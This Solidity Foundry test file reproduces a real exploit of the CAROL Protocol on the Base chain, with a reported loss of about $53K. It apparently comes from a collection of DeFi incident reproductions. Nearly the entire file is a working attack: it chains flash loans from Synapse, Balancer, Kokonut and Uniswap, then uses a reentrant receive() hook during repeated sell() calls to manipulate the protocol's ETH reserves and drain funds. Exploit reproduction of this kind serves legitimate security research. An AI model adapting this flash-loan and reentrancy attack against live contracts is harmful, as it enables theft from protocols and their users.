src/test/2023-11/CAROLProtocol_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$53K
8// Attacker : https://basescan.org/address/0x5aa27d556f898846b9bad32f0cdba5b1f8bc3144
9// Attack Contract : https://basescan.org/address/0xc4566ae957ad8dde4768bdd28cdc3695e4780b2c
10// Vulnerable Contract : https://basescan.org/address/0x26fe408bbd7a490feb056da8e2d1e007938e5685
11// Prepare Tx : https://app.blocksec.com/explorer/tx/base/0x6462f5e358eb2c7769e6aa59ce43277be4799b297bc4c9503610443b9d56cc24
12// Attack Tx : https://app.blocksec.com/explorer/tx/base/0xd962d397a7f8b3aadce1622e705b9e33b430e86e0d306d6fb8ccbc5957b4185c
13 
14// @Info
15// Vulnerable Contract Code : https://basescan.org/address/0x26fe408bbd7a490feb056da8e2d1e007938e5685#code
16 
17// @Analysis
18// Post-mortem :
19// Twitter Guy : https://x.com/MetaSec_xyz/status/1730496513359647167
20// Hacking God :
21 
22interface ICAROLProtocol {
23    function buy(address upline, uint8 bondType) external payable;
24 
25    function sell(
26        uint256 tokensAmount
27    ) external;
28 
29    function stake(
30        uint8 bondIdx
31    ) external payable;
32 
33    function bonds(
34        address,
35        uint8
36    )
37        external
38        view
39        returns (
40            uint256 amount,
41            uint256 creationTime,
42            uint256 freezePeriod,
43            uint256 profitPercent,
44            uint256 stakeAmount,
45            uint256 stakeTime,
46            uint256 collectedTime,
47            uint256 collectedReward,
48            uint256 stakingRewardLimit,
49            bool isClosed
50        );
51 
52    function userBalance(
53        address userAddress
54    ) external view returns (uint256 balance);
55}
56 
57interface IKokonut {
58    function flashLoan(address borrower, uint256[] memory amounts, bytes memory data) external;
59}
60 
61interface ISynapseETHPools {
62    function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;
63}
64 
65contract ContractTest is Test {
66    ICAROLProtocol private constant CAROLProtocol = ICAROLProtocol(0x26fe408BbD7A490fEB056DA8e2D1e007938E5685);
67    IWETH private constant WETH = IWETH(payable(0x4200000000000000000000000000000000000006));
68    ISynapseETHPools private constant SynapseETHPools = ISynapseETHPools(0x6223bD82010E2fB69F329933De20897e7a4C225f);
69    IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
70    IKokonut private constant Kokonut = IKokonut(0x73c3A78E5FF0d216a50b11D51B262ca839FCfe17);
71    Uni_Pair_V3 private constant WETH_USDbCV3 = Uni_Pair_V3(0x4C36388bE6F416A29C8d8Eee81C771cE6bE14B18);
72    Uni_Pair_V2 private constant WETH_USDbCV2 = Uni_Pair_V2(0xB4885Bc63399BF5518b994c1d0C153334Ee579D0);
73    Uni_Router_V2 private constant Router = Uni_Router_V2(0x327Df1E6de05895d2ab08513aaDD9313Fe505d86);
74    IERC20 private constant CAROL = IERC20(0x4A0a76645941d8C7ba059940B3446228F0DB8972);
75    uint256 private constant blocknumToForkFrom = 7_246_080;
76 
77    bool withdrawingWETH;
78 
79    function setUp() public {
80        vm.createSelectFork("base", blocknumToForkFrom);
81        vm.label(address(CAROLProtocol), "CAROLProtocol");
82        vm.label(address(WETH), "WETH");
83        vm.label(address(SynapseETHPools), "SynapseETHPools");
84        vm.label(address(BalancerVault), "BalancerVault");
85        vm.label(address(Kokonut), "Kokonut");
86        vm.label(address(WETH_USDbCV3), "WETH_USDbCV3");
87        vm.label(address(WETH_USDbCV2), "WETH_USDbCV2");
88        vm.label(address(Router), "Router");
89        vm.label(address(CAROL), "CAROL");
90    }
91 
92    function testExploit() public {
93        // Prepare tx:
94        // Start with following ETH balance
95        deal(address(this), 0.07 ether);
96        emit log_named_decimal_uint("Exploiter ETH balance before attack", address(this).balance, 18);
97        // Buy CAROL tokens with ETH through bonding. Create active 'Bond'
98        CAROLProtocol.buy{value: 0.03 ether}(address(this), 0);
99        // Use remaining ETH and CAROL tokens from active 'Bond' for liquidity staking in WETH_CAROL pair
100        CAROLProtocol.stake{value: 0.039 ether}(0);
101 
102        // Attack tx:
103        vm.roll(block.number + 33_719);
104        // Adjusted time. Without following line, output from ICAROLProtocol.userBalance(userAddress) will be 0
105        // in later time. This is wrong.
106        vm.warp(block.timestamp + 18 hours + 39 minutes - 2 seconds);
107 
108        // Flashloan WETH from Synapse
109        SynapseETHPools.flashLoan(address(this), address(WETH), WETH.balanceOf(address(SynapseETHPools)), bytes(""));
110 
111        withdrawingWETH = true;
112        WETH.withdraw(WETH.balanceOf(address(this)));
113 
114        emit log_named_decimal_uint("Exploiter ETH balance after attack", address(this).balance, 18);
115    }
116 
117    function executeOperation(
118        address sender,
119        address underlying,
120        uint256 amount,
121        uint256 fee,
122        bytes calldata params
123    ) external {
124        // Flashloan WETH from Balancer
125        address[] memory tokens = new address[](1);
126        tokens[0] = address(WETH);
127        uint256[] memory amounts = new uint256[](1);
128        amounts[0] = WETH.balanceOf(address(BalancerVault));
129        BalancerVault.flashLoan(address(this), tokens, amounts, bytes(""));
130        WETH.transfer(address(SynapseETHPools), amount + fee);
131    }
132 
133    function receiveFlashLoan(
134        address[] memory tokens,
135        uint256[] memory amounts,
136        uint256[] memory feeAmounts,
137        bytes memory userData
138    ) external {
139        // Flashloan WETH from Kokonut
140        uint256[] memory tokenAmounts = new uint256[](2);
141        tokenAmounts[0] = 0;
142        tokenAmounts[1] = WETH.balanceOf(address(Kokonut));
143        Kokonut.flashLoan(address(this), tokenAmounts, bytes(""));
144        WETH.transfer(msg.sender, amounts[0]);
145    }
146 
147    function onFlashLoan(
148        address initiator,
149        uint256[] calldata amounts,
150        uint256[] calldata fees,
151        bytes calldata data
152    ) external {
153        // Flashloan WETH from UniswapV3 pool
154        bytes memory data = abi.encode(uint256(WETH.balanceOf(address(WETH_USDbCV3))));
155        WETH_USDbCV3.flash(address(this), WETH.balanceOf(address(WETH_USDbCV3)), 0, data);
156        WETH.transfer(address(Kokonut), amounts[1] + fees[1]);
157    }
158 
159    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
160        uint256 repayAmount = abi.decode(data, (uint256));
161        // Following value comes from data parameter in attack tx
162        // The total amount of WETH should be this much after flashloans
163        uint256 totalAmountOfWETH = 3400e18;
164        uint256 amount0Out = totalAmountOfWETH - (WETH.balanceOf(address(this)));
165        // Borrow additional WETH amount
166        WETH_USDbCV2.swap(amount0Out, 0, address(this), abi.encodePacked(uint8(1)));
167        WETH.transfer(address(WETH_USDbCV3), repayAmount + fee0);
168    }
169 
170    function hook(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
171        emit log_named_decimal_uint("WETH amount after flashloans", WETH.balanceOf(address(this)), 18);
172        // Swap all WETH to CAROL
173        WETH.approve(address(Router), type(uint256).max);
174        CAROL.approve(address(Router), type(uint256).max);
175        WETHToCAROL();
176        emit log_named_decimal_uint(
177            "CAROL amount after swap from WETH", CAROL.balanceOf(address(this)), CAROL.decimals()
178        );
179 
180        uint256 sellAmount = CAROLProtocol.userBalance(address(this));
181        uint256 i;
182        while (i < 1000) {
183            // Call to flawed function. This function make a call to swapExactTokensForETH
184            // swapExactTokensForETH calls receive() function of this contract (reentrancy possibility)
185            // In receive() exploiter can manipulate 'ethReserved' value (analysis link)
186            (bool success,) =
187                address(CAROLProtocol).call(abi.encodeWithSelector(bytes4(ICAROLProtocol.sell.selector), sellAmount));
188            if (success) {
189                break;
190            } else {
191                sellAmount = sellAmount - sellAmount / 100;
192                ++i;
193            }
194        }
195        CAROLToWETH(CAROL.balanceOf(address(this)));
196        WETH.deposit{value: address(this).balance}();
197        uint256 feeAmt = amount0 * 30;
198        uint256 amountToTransfer = (amount0 + feeAmt / 10_000) + 50e15;
199        WETH.transfer(address(WETH_USDbCV2), amountToTransfer);
200    }
201 
202    receive() external payable {
203        if (withdrawingWETH) {
204            return;
205        }
206        uint256 amountIn = (CAROL.balanceOf(address(this)) * 90) / 100;
207        CAROLToWETH(amountIn);
208    }
209 
210    function WETHToCAROL() private {
211        address[] memory path = new address[](2);
212        path[0] = address(WETH);
213        path[1] = address(CAROL);
214 
215        Router.swapExactTokensForTokens(WETH.balanceOf(address(this)), 0, path, address(this), block.timestamp + 4000);
216    }
217 
218    function CAROLToWETH(
219        uint256 amount
220    ) private {
221        address[] memory path = new address[](2);
222        path[0] = address(CAROL);
223        path[1] = address(WETH);
224 
225        Router.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4000);
226    }
227}